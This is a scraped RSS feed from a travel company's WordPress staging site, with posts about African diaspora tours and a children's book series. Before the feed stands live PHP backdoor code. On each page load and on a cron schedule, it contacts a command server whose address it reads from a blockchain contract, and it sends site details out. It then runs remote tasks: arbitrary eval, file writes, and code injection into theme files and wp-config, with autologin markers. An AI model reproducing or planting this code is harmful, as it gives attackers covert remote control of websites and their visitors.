// ai_0a if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/www/maximumimpacttravel_499/public/wp-content/plugins/hseo/hseo.php', 'ctrl'=>'// ai_0a', 'vis'=>'// pw_fo', 'vis_func'=>'wp_3p5mev', 'vis_paths'=>array('/www/maximumimpacttravel_499/public/wp-content/plugins/hseo/hseo.php'), 'opt'=>'_wp_khoh14ib', ); $keys=array(); $keys['id']='0yw'; $keys['ver']='gz'; $keys['caps']='t0r'; $keys['tasks']='ady'; $keys['interval']='vdn'; $keys['ack_id']='iri'; $keys['ok']='ot'; $keys['detail']='029'; $keys['inv']='zke'; $keys['result']='bzw'; $hdr='X-BL6-Auth';$tok='kcvsy8MmV3I524OzFZMESjxFIDr3o-Xd5PzH6Jc55d4';$id='68c2dd2f3fea0ee5';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Maximum Impact Travel https://stg-maximumimpacttravel-staging.kinsta.cloud African Diaspora Travel Tours Thu, 15 Feb 2024 06:16:01 +0000 en-US hourly 1 https://wordpress.org/?v=7.1.3 https://stg-maximumimpacttravel-staging.kinsta.cloud/wp-content/uploads/2023/07/fav-icon-100x100.png Maximum Impact Travel https://stg-maximumimpacttravel-staging.kinsta.cloud 32 32 Jay Cameron Introduces The Adventures of Darren and Destiny Children’s Book Series https://stg-maximumimpacttravel-staging.kinsta.cloud/jay-cameron-introduces-the-adventures-of-darren-and-destiny-childrens-book-series/ https://stg-maximumimpacttravel-staging.kinsta.cloud/jay-cameron-introduces-the-adventures-of-darren-and-destiny-childrens-book-series/#respond Mon, 31 Jul 2023 10:33:39 +0000 https://stg-maximumimpacttravel-staging.kinsta.cloud/?p=1898 Jay Cameron Introduces The Adventures of Darren and Destiny Children’s Book Series Read More »

]]> Author, Playwright, Philanthropist Jay Cameron released children’s book series about twins Darren and Destiny as they travel to African diaspora destinations around the world. In this fun, empowering and interactive series, children are taken on adventures that educate, inspire and encourage travel exploration.

For parents looking to expose and educate their children about the beauty, culture and history on the continent of Africa, this book series will take them on adventures that highlight some of the most influential countries on this vast continent. Where did they go? What did they see? What did they do? There is an exciting learning adventure on every page that will leave a lasting impression in the minds of the readers. This series was written for ages six through ten but all ages can benefit from the many fun adventures.

In the first book in the series, Join twins Darren, Destiny and their parents on their first trip to Accra, Ghana in Africa. Experience the amazing culture and history of this west African gem. Travel to some of Ghana’s most popular landmarks. Meet Nana, Esi, Philip and Isaac along the way. Venture deep inside the cocoa forest and watch artisans make original African art.

Click the image to order your copy

In the second book in the series, Join Darren, Destiny and their parents for an amazing Serengeti safari adventure in Tanzania located in East Africa. Journey with the family and their guide Godfrey as they observe the animals in their natural habitat. Jump with the Maasai tribe and learn how to make fire. Catch a birds-eye-view of the Serengeti on a spectacular balloon ride. Don’t miss a special birthday celebration the twins will never forget.

Click the image to order your copy

With amazing illustrations and inspiring stories, this book series is a must have for all children. Order today from Amazon.com

Here are the amazing adventures from Darren and Destiny in this inspirational and educational series

  1. Ghana

  2. Safari – Tanzania

  3. Zanzibar- The Spice Island

  4. Conquering Kilimanjaro – Journey to the Summit

  5. Ethiopia – The Land of Origins

  6. Salvador, Bahia – A Taste of Africa in Brazil

  7. Benin & Togo – Hidden Treasures

Jay Cameron takes his young readers on a journey to African diaspora destinations around the world. After a life-changing trip to Ghana, Jay realized much of the information he had been taught (as a child) about Africa was inaccurate and misleading. He was inspired to share his first-hand experiences with children in an effort to offer a more accurate perspective about one of the most beautiful continents in the world.

]]> https://stg-maximumimpacttravel-staging.kinsta.cloud/jay-cameron-introduces-the-adventures-of-darren-and-destiny-childrens-book-series/feed/ 0 Our Director – Jay Cameron featured on Savvy Living! Watch Now https://stg-maximumimpacttravel-staging.kinsta.cloud/our-director-jay-cameron-featured-on-savvy-living-watch-now/ https://stg-maximumimpacttravel-staging.kinsta.cloud/our-director-jay-cameron-featured-on-savvy-living-watch-now/#respond Mon, 31 Jul 2023 10:22:36 +0000 https://stg-maximumimpacttravel-staging.kinsta.cloud/?p=1894 ]]> https://stg-maximumimpacttravel-staging.kinsta.cloud/our-director-jay-cameron-featured-on-savvy-living-watch-now/feed/ 0 Africa in South America – Salvador, Bahia, Brazil https://stg-maximumimpacttravel-staging.kinsta.cloud/africa-in-south-america-salvador-bahia-brazil/ https://stg-maximumimpacttravel-staging.kinsta.cloud/africa-in-south-america-salvador-bahia-brazil/#respond Mon, 31 Jul 2023 10:04:17 +0000 https://stg-maximumimpacttravel-staging.kinsta.cloud/?p=1886 Africa in South America – Salvador, Bahia, Brazil Read More »

]]>

My travels to Africa led me to the most populated country for people of African descent outside of Africa, Brazil. Salvador in the state of Bahia, received the largest amount of the enslaved captives in Brazil.

What I experienced in Salvador was nothing short or amazing. To see so many people who looked like me in a place that had been largely hidden from me in America was the real eye opener. Although we did not speak the same language, we knew we had something in common that was special.

To see how the African-Brazilian population of Salvador preserved the African culture warmed my heart. It also revealed how much of the African population in America had its identity destroyed. It was a sobering reminder of the power or colonization and its lasting impact.

The food, culture and people were unforgettable and I look forward to my return with my group tours.

]]> https://stg-maximumimpacttravel-staging.kinsta.cloud/africa-in-south-america-salvador-bahia-brazil/feed/ 0 The Awakening Experience – Benin ???????? & Togo ???????? https://stg-maximumimpacttravel-staging.kinsta.cloud/the-awakening-experience-benin-%f0%9f%87%a7%f0%9f%87%af-togo-%f0%9f%87%b9%f0%9f%87%ac/ https://stg-maximumimpacttravel-staging.kinsta.cloud/the-awakening-experience-benin-%f0%9f%87%a7%f0%9f%87%af-togo-%f0%9f%87%b9%f0%9f%87%ac/#respond Mon, 31 Jul 2023 09:59:22 +0000 https://stg-maximumimpacttravel-staging.kinsta.cloud/?p=1881

 

Message from Jay Cameron:

Benin and Togo were two of the most impactful areas I traveled to in Africa. They offer a deeper understanding of the picture of colonization and the global impact for the African diaspora. To see the similarities between this region and parts of South & North America is amazing.

]]> https://stg-maximumimpacttravel-staging.kinsta.cloud/the-awakening-experience-benin-%f0%9f%87%a7%f0%9f%87%af-togo-%f0%9f%87%b9%f0%9f%87%ac/feed/ 0 Amazing Salvador, Bahia, Brazil! All these “Afro” folks in South America! https://stg-maximumimpacttravel-staging.kinsta.cloud/amazing-salvador-bahia-brazil-all-these-afro-folks-in-south-america/ https://stg-maximumimpacttravel-staging.kinsta.cloud/amazing-salvador-bahia-brazil-all-these-afro-folks-in-south-america/#respond Mon, 31 Jul 2023 09:54:55 +0000 https://stg-maximumimpacttravel-staging.kinsta.cloud/?p=1849 Amazing Salvador, Bahia, Brazil! All these “Afro” folks in South America! Read More »

]]> The food is excellent! The people are very welcoming! The history and African culture is a must see! The beaches are amazing!

Here are some of the Afro-Brazilians that are being hidden from the rest of the world! Brazil is the most populous country for people of African descent outside of Africa. Since Brazil received the most of the enslaved captives during the transatlantic slave trade (approx five million), today there are almost 100 million people of African descent in Brazil. Most are concentrated in the state of Bahia. This is more than double the amount of people of African descent in America. Yep, Brazil has more black people than America. For my entire life, I have been told I was a minority. That’s only true within that small bubble called America. Once I stepped outside of those borders and visited other “Afro” areas, I began to see the truth. We are not a minority and we are everywhere.

One thing for sure is that they have not lost their African culture here in Salvador. It’s straight from Africa and they are proud of it. The wildest thing is seeing so much authentic African culture in South America (especially since I was in Ghana ???????? a few days ago). It’s one thing to read about it. It another thing to see it in person. Amazing!

My Brother – My Brother

The pic with the room service waiter made my day. Placing the order was an adventure because no one spoke English and I don’t speak ANY Portuguese BUT we made it happen ????. Surprisingly the order was right minus one item but I wasn’t trippin at all. After all, I’m in their land and some adjustments (on my part) should be expected.

My Uber driver couldn’t speak English either. The staff at the front desk spoke some broken English and that was about it. Everyone else speaks straight Portuguese and that’s fine. Please don’t let me come in here and Americanize you.

Why was my day made?

When this young brother (who must be 6’6” tall) came to the door, I was a little shocked because he looks like relatives of mine (not to mention the man in the other pic who looks like he could be my brother). Remember, he doesn’t speak any English. My mind was trying to process in rapid fire what I was seeing. Because we could not communicate verbally, we had to resort to signals, gestures and noises. That was hilarious.

When I pointed to my arm and to the top of his hand ????????, he immediately understood what I was saying. We were the same complexion with the same hair texture but could not verbally communicate. He didn’t look “foreign” at all. The fact that I am of Portuguese/Spanish descent coupled with numerous African ancestry links made this even more interesting.

The waiter did understand two things however. The first thing he understood was that fat tip I gave him ???? . The next thing he understood was the universal language of the “selfie” ????.

Next up on my African Diaspora travels are Sierra Leone, Colombia, Guyana, Senegal, Ivory Coast and Angola (with more to come).

Enjoy and be sure to join us on an upcoming tour to Salvador!

]]> https://stg-maximumimpacttravel-staging.kinsta.cloud/amazing-salvador-bahia-brazil-all-these-afro-folks-in-south-america/feed/ 0 Why Did These Parents Take Their Eleven Year Old Son To Africa with Maximum Impact African Tours? https://stg-maximumimpacttravel-staging.kinsta.cloud/why-did-these-parents-take-their-eleven-year-old-son-to-africa-with-maximum-impact-african-tours/ https://stg-maximumimpacttravel-staging.kinsta.cloud/why-did-these-parents-take-their-eleven-year-old-son-to-africa-with-maximum-impact-african-tours/#respond Mon, 31 Jul 2023 09:35:16 +0000 https://stg-maximumimpacttravel-staging.kinsta.cloud/?p=1845 Why Did These Parents Take Their Eleven Year Old Son To Africa with Maximum Impact African Tours? Read More »

]]>

Are you ready for the experience of a lifetime in Africa?

Watch as this couple explains how they took their eleven-year-old-son on a trip to Africa he will never forget.

Why Visit Africa?

  • Beautiful Culture

  • Powerful History

  • Spectacular Beaches and Accommodations

  • Entertainment

  • A Wealth of Business Opportunities

  • Expanding Your Mind & Worldview

  • Leisure & Relaxation

Are you ready to start planning your trip? Visit maximumimpacttravel.com to learn how easy it is to travel to Africa! Let us shatter the myths and walk you through the African travel process. It’s easy and well worth the investment.

]]> https://stg-maximumimpacttravel-staging.kinsta.cloud/why-did-these-parents-take-their-eleven-year-old-son-to-africa-with-maximum-impact-african-tours/feed/ 0 The Africa You Probably Will Not See On Western Media https://stg-maximumimpacttravel-staging.kinsta.cloud/the-africa-you-probably-will-not-see-on-western-media/ https://stg-maximumimpacttravel-staging.kinsta.cloud/the-africa-you-probably-will-not-see-on-western-media/#respond Mon, 31 Jul 2023 09:25:13 +0000 https://stg-maximumimpacttravel-staging.kinsta.cloud/?p=1841 The Other Side Of Africa

 

The East African Adventure

]]> https://stg-maximumimpacttravel-staging.kinsta.cloud/the-africa-you-probably-will-not-see-on-western-media/feed/ 0 Ethiopia – The Land of Origins https://stg-maximumimpacttravel-staging.kinsta.cloud/ethiopia-the-land-of-origins/ https://stg-maximumimpacttravel-staging.kinsta.cloud/ethiopia-the-land-of-origins/#respond Mon, 31 Jul 2023 09:20:55 +0000 https://stg-maximumimpacttravel-staging.kinsta.cloud/?p=1837 ]]> https://stg-maximumimpacttravel-staging.kinsta.cloud/ethiopia-the-land-of-origins/feed/ 0 A Confession from Jay Cameron https://stg-maximumimpacttravel-staging.kinsta.cloud/a-confession-from-jay-cameron/ https://stg-maximumimpacttravel-staging.kinsta.cloud/a-confession-from-jay-cameron/#respond Mon, 31 Jul 2023 08:14:35 +0000 https://stg-maximumimpacttravel-staging.kinsta.cloud/?p=1832 A Confession from Jay Cameron Read More »

]]>

 

As someone in my mid 40’s who is new to the international travel game, I didn’t start actively traveling internationally until the past year. I didn’t see the true value in it, and I was conditioned to fear anything outside of America (by design as I will share later).

I have traveled to all of the “American-approved and marketed” Caribbean destinations but anything outside of that was met with mental fear and uncertainty. Not to mention, my social circle was equally as narrow-minded about international travel and expressed no interest due to fear.

I do remember thinking to myself how I would love to ‘galavant’ through Europe because those were “safe and clean” destinations. Paris and London were at the top of my “bucket list”. Greece, Italy and other Mediterranean destinations were not far behind. When the topic of sub-Saharan Africa would come up, a negative narrative instantly came to mind. Traveling there was never a real consideration because I didn’t want to “get sick” or deal with some sort of civil unrest. The bottom line is that I didn’t even consider traveling to sub-Saharan Africa (in particular) because the narrative was marketed so negatively throughout my entire life. I couldn’t reconcile why I would want to spend good money to go visit a “dump” (as I was led to believe). Late-night infomercials soliciting donations for sick, poverty-stricken children (from organizations that would keep 70% of the donations for ‘administrative costs’) was all I could think of. Images of fly-infested porridge and distended stomachs kept coming to mind. Never once did I ask “WHY?” was it like this (or if it were even true to the extent that it was promoted). The bottom line is that sub-Saharan Africa (with its many countries, languages and cultures) was never a consideration for vacation or leisure the same way I considered European or Asian destinations. I would think to myself that “perhaps” I would go to Africa on a missions trip to help these poor people in need of my saving grace #whatever Sadly, this attitude is common but misguided on many levels. Truth be told, I was the one who needed a little “saving”.

Wakanda Forever!

The wildest part is how I loved to watch fictional movies about Africa. “Wakanda Forever!” and every line from Coming to America was embedded into my heart and mind but actually traveling to Africa was a distant thought. I had no problem claiming Africa with my words but rejecting it with my actions and my money.

A Balanced Story

While there are many challenges on the continent of Africa, there is another truth that is not accurately promoted to the world and in particular America. What I didn’t realize was the European places I held in high regard were the same places that benefitted the most from the abuses of Africa and its people. I never considered this as I dreamed about one day visiting Lisbon and Madrid.

How Did I End Up in Africa? My Ancestry Results

In 2017, I took one of the popular ancestry tests. The results piqued my curiosity as it revealed the cluster of west, south and east African countries in my DNA. I took African Ancestry which offered more detailed information about my African (Sierra Leonean – Temne) and European (Spanish/Portuguese) genetic heritage from specific lines in my family.

I know some people are skeptical about the accuracy (not to mention the various conspiracy theories) of all of these “DNA tests” but they have proven to be very accurate and introduced me to relatives I never knew existed. They also confirmed much of the family history I was aware of. Bottom line is that they worked well for me.

Also, if “they” wanted to get my DNA and clone me, they could get plenty of samples every time I go for an annual physical and the bloodwork gets shipped off to the “lab” for analysis. #justsayin

Google Earth Revelation

The DNA results prompted me to use Google Earth to scan over the west coast of Africa to see what I could find. As I scanned over Accra, Ghana, I could not have imagined how what I saw was going to change my life forever.

Because I had been fed a negative narrative about sub-Saharan Africa all of my life, I was expecting to see nothing but huts and half-clothed, starving children. To my amazement, I saw something completely different and I knew in that instant something was missing from the story I had been told. That night, I decided to make Accra, Ghana my first destination in Africa.

FYI, I had no idea about the “Year of Return” and celebrities had no influence in my decision. This was completely independent.

The Wake Up – Ghana ????????

My decision to go to Africa was met with various sarcastic comments from friends and family rooted in the same ignorance that plagued me for a lifetime. Most opinions or questions had those same negative overtones I would think to myself.

As I researched the hotels, I was shocked to see the number of upscale hotels and accommodations to choose from. This continued to confirm my feelings about being misled about sub-Saharan Africa. When I arrived in Ghana, I was pleasantly surprised by the warmth of the people. It was clear to me that there was NOTHING to fear and that I had only been shown one side of “Africa”. But why?

My first trip to Africa answered so many questions but left me with even more. Without going to all of the details of my discoveries, I realized that my affection for Europe and Asia and my dismissal and resistance to sub-Saharan Africa was taught to me through education systems, culture, entertainment and mass media. I knew I needed to explore more.

East Africa

With my fears gone and my curiosity piqued, I scheduled a trip to Zanzibar to learn about the massive Arab slave trade and its impact. I also visited Ethiopia ???????? to see the ancient history in a country that is often overshadowed by Israel ???????? and Egypt ????????. I was completely blown away by EVERYTHING I saw, and NOT ONCE did I feel unsafe. Ethiopia and Zanzibar were two of the most beautiful places I had ever seen and the beaches in Zanzibar would rival anything in the Caribbean or Pacific Ocean.

Mt. Kilimanjaro

I also decided to climb Mt. Kilimanjaro (the tallest freestanding mountain in the world and the tallest mountain in Africa) as a stamp to conquering my personal ignorance and fears about the countries in Africa I had no reason to fear.

In Tanzania, I met some of the kindest African people I’ve ever encountered, and they made sure a brotha was taken care of. My life was forever changed on multiple levels as a result of my experience on Kilimanjaro.

Reflections

My first trip to Africa was in Nov 2018. I have been back to the continent twice and headed back next week. My trips have taken me to the places that have been most negatively portrayed by American media and marketing campaigns. What I saw in places like Benin ???????? & Togo ????????helped me to understand what REALLY occurred (and still is occurring) and why the diaspora in America has been kept in the dark.

Why?

It is and has always been about the money. With the American ‘black’ population estimated to spend more than one trillion dollars annually, spending this money in non-American or non-American approved destinations could pose a threat. We would be hard pressed to find a television commercial advertising sub-Saharan Africa (other than perhaps a heavily European-influenced African destination.)

For me, going to the dungeons in Ghana and Zanzibar along with the places I visited in Togo and Benin made it painfully clear how this game was (and still is being) played. It took me some time, but I get it now.

Brazil ???????? and Colombia ????????

As I was reading another post on social media, I was glad to see that there were others who were discovering the gross misrepresentations of the diaspora even in places like Colombia. The fact that these countries whitewash so much of our history globally helped me to understand why I never considered the places they ‘demonized’ as legitimate vacation destinations. The wild part is that I saw Europeans vacationing in abundance in the places I had been trained to fear and to avoid.

My trips to five countries (with very different cultures) inspired me to visit Salvador, Brazil, the most African-populous country outside of Africa. I always thought America had the most of “us” but there are many more in Brazil.

Opinions

As I have shared my discoveries, I’ve encountered the unfortunate comments that would question my knowledge or education level because they felt I should have automatically known this information. I quickly addressed these comments with the simple fact that I along with a whole lot of other very educated people were intentionally not taught this part of history. Many of the people who are clueless about my findings hold advanced degrees from the same institutions those who made the comments credited as the source of their enlightenment.

A New Person

One year after my first trip to Africa, I am a new person. I say this because the mental fog has been removed and I have NO fear about Africa. I also have an accurate perspective to pull from because I saw it for myself and didn’t allow the media or anyone else’s opinions to define it for me. I am bothered by the fact that I thought the way I did for more than 45 years but I’m glad I’m free from it. Moving forward, I hope to inspire people to learn and explore vs condemning people for what they may or may not know.

The opportunities in Africa for the diaspora and local Africans are endless. My fears and lack of knowledge would have caused me to miss out on them in the past. Because the continent of Africa is one of the fastest growing economies in the world, there is no wonder we aren’t told about it. I refused to miss out and have already partnered with local business owners to bring economic opportunities to them vs simply taking from them. As I traveled through the five countries, I could see how everyone else from everywhere else was taking advantage of the opportunities. Sadly, many of us who were taken from there were clueless.

Mission to Educate

As I wrap this up, here are some pics from my three trips to Africa over the past year. As we are traveling the world, I encourage more people to add sub-Saharan Africa to the list. There is so much hidden history there and so many answers to so many questions if you have your eyes and ears open to see them.

Leading People to Africa

The highlight of the past year was taking a group of almost 30 people back to Africa with me. Ranging from age 89 to 11, we had the greatest time breaking down the walls of misinformation. We became a family over the time of our trip and created memories that will last a lifetime. My mission is to expose people to the truth as well as the opportunities that exist on the continent of Africa.

No Price Tag

There is no price tag I can put on the transformation that has occurred within me because I can see things clearly now but I’m still learning. I am looking forward to visiting many more African countries in Africa and in South and Central America over the years.

]]> https://stg-maximumimpacttravel-staging.kinsta.cloud/a-confession-from-jay-cameron/feed/ 0 Zanzibar – The Spice Island https://stg-maximumimpacttravel-staging.kinsta.cloud/zanzibar-the-spice-island/ https://stg-maximumimpacttravel-staging.kinsta.cloud/zanzibar-the-spice-island/#respond Mon, 31 Jul 2023 08:07:45 +0000 https://stg-maximumimpacttravel-staging.kinsta.cloud/?p=1829

]]> https://stg-maximumimpacttravel-staging.kinsta.cloud/zanzibar-the-spice-island/feed/ 0